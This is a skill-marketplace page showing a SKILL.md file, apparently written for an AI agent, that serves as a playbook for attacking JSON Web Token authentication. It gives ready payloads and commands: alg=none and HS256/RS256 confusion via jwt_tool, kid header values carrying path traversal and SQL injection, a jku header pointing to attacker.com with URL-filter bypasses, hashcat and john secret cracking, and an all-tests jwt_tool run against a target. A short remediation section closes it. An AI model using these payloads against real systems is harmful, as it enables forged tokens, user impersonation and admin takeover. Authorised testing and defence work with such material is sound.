Skip to main content

jwt

JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.

Quellinformationen

Repository
BitterSecurity/Decepticon
Letzte Quellaktivität
26. Mai 2026 um 03:12
Erkannte Sprache von SKILL.md
Englisch
Sterne
5.912
Forks
1.122

Installationsoptionen

Standardmäßig ist der Prompt ausgewählt, der zuerst die Quelle prüft. Sie können zu einem direkten Befehl wechseln oder eine lokale Kopie herunterladen.

Quelldateien prüfen

Lesen Sie SKILL.md und alle von SkillsMP angezeigten Begleitdateien, bevor Sie sich für eine Installation entscheiden.

SKILL.md wird angezeigt

SKILL.md
Quellanweisungen · Schreibgeschützte Vorschau
name
jwt
description
JSON Web Token attacks — algorithm confusion (alg=none, HS256↔RS256), kid header injection, JWKS spoofing, weak HMAC secret cracking, signature stripping.
metadata
{"when_to_use":"jwt json web token bearer signature alg=none kid jwks","mitre_attack":"T1606.001","subdomain":"authentication","upstream_ref":"skills/_corpus/payloads/JSON Web Token/"}
# JSON Web Token Attacks JWTs are signed (`HS256`/`RS256`/`ES256`) or sometimes mis-configured to accept `none`. The header carries the alg + optionally `kid`/`jku`/`x5u` references. Each is a potential exploitation surface. ## 1. Anatomy `header.payload.signature` — each base64url. Decode w/ `jwt_tool` or `jwt-cracker`: ```bash jwt_tool eyJhbGc... # decode + verify + tamper modes echo "$JWT" | cut -d. -f1-2 | tr '_-' '/+' | base64 -d 2>/dev/null ``` ## 2. Attack surface ### 2.1 `alg=none` bypass Set `{"alg":"none"}` in header, strip signature, send `header.payload.`: ```bash jwt_tool $JWT -X a # alg=none attack ``` Worked on auth0 / pyjwt / many home-rolled libs pre-2017. Still appears in legacy systems. ### 2.2 HS256 vs RS256 confusion Server uses RS256 (asymmetric) and verifies w/ public key. Attacker switches `alg` to `HS256` and signs w/ the *public key* (which the server will use as the HMAC secret): ```bash # Get the public key curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]' # Or pull from a redirect / unauth /pubkey endpoint jwt_tool $JWT -X k -pk public.pem # alg confusion attack ``` ### 2.3 `kid` header injection `kid` (key ID) sometimes resolves to a file path or DB key: ```json {"alg":"HS256","kid":"../../../dev/null"} // sign with empty content {"alg":"HS256","kid":"key1' UNION SELECT 'mykey"} // SQLi in kid lookup ``` `jwt_tool -X i -I -hc kid -hv path` chains kid injection variants. ### 2.4 `jku` / `x5u` URL injection `jku` (JWK Set URL) tells the server WHERE to fetch keys. If unvalidated, attacker hosts their own: ```json {"alg":"RS256","jku":"https://attacker.com/jwks.json"} ``` Then `https://attacker.com/jwks.json` returns attacker's public key, signed JWT is "valid". Bypass URL filters via: - subdomain confusion (`https://target.com.attacker.com/jwks.json`) - userinfo (`https://attacker.com@target.com/jwks.json`) - redirect chains via target's open-redirect ### 2.5 Weak HMAC secret HS256 with weak secret crackable offline: ```bash hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt john --format=HMAC-SHA256 jwt.txt --wordlist=rockyou.txt ``` Hashcat mode 16500 = JWT. Service-account secrets often `dev`/`secret`/ `changeme`/company-name patterns. ### 2.6 Signature stripping (Express.js / older Go libs) Some libraries verify only IF a signature is present. Strip it: ``` header.payload. ← trailing dot, no sig ``` ### 2.7 Embedded `jwk` header `jwk` in header (vs `jku` pointer) — attacker embeds their own pub key: ```json {"alg":"RS256","jwk":{"kty":"RSA","n":"<attacker_pub>","e":"AQAB"}} ``` Old node-jsonwebtoken accepted this. ## 3. Detection in recon JWT presence signals: - `Authorization: Bearer eyJ...` headers - `access_token=eyJ...` / `id_token=eyJ...` URL params or cookies - `.well-known/jwks.json` endpoint exposed - `.well-known/openid-configuration` discovery doc ## 4. PoC pattern (Burp + jwt_tool) 1. Capture authenticated request 2. `jwt_tool <JWT> -M at -t <target_url>` — runs **a**ll **t**ests (alg=none, alg confusion, signature strip, weak HMAC dictionary) 3. For positive results, replay manually via Burp Repeater to confirm 4. Document the modified JWT + decoded admin claims as PoC ## 5. Severity calibration | Bug | Typical severity | |---|---| | `alg=none` accepted on user → admin claim swap | Critical 9.8 | | HS256↔RS256 confusion → arbitrary user impersonation | Critical 9.8 | | `jku` to attacker URL accepted | Critical 9.8 | | Weak HMAC secret cracked offline (admin role) | Critical 9.8 | | `kid` SQLi → DB enumeration | High 8.0 | | Signature stripping accepted | Critical 9.8 | ## 6. Defender remediation ```javascript // Node: jsonwebtoken jwt.verify(token, publicKey, { algorithms: ['RS256'], // EXPLICIT — never accept "none" or HS256 here audience: 'api://my-service', issuer: 'https://auth.mycorp.com', }); // Python: PyJWT 2.0+ jwt.decode(token, public_key, algorithms=['RS256']) // explicit algorithm // Validate kid / jku come from a known-good fixed set, NEVER user-controlled lookup ``` ## Cross-references - Upstream catalog: `skills/_corpus/payloads/JSON Web Token/` - jwt_tool: https://github.com/ticarpi/jwt_tool ## Known exemplars - Auth0 alg=none (2015) — historical CVE-2015-2951 era - Multiple Github bounty $5-15k for HS256/RS256 confusion in 2018-2021 - Atlassian 2022: JWT validation bypass in JIRA cloud → admin - Several HackerOne $20k+ reports on kid path-traversal + jku to attacker host
Auf GitHub ansehen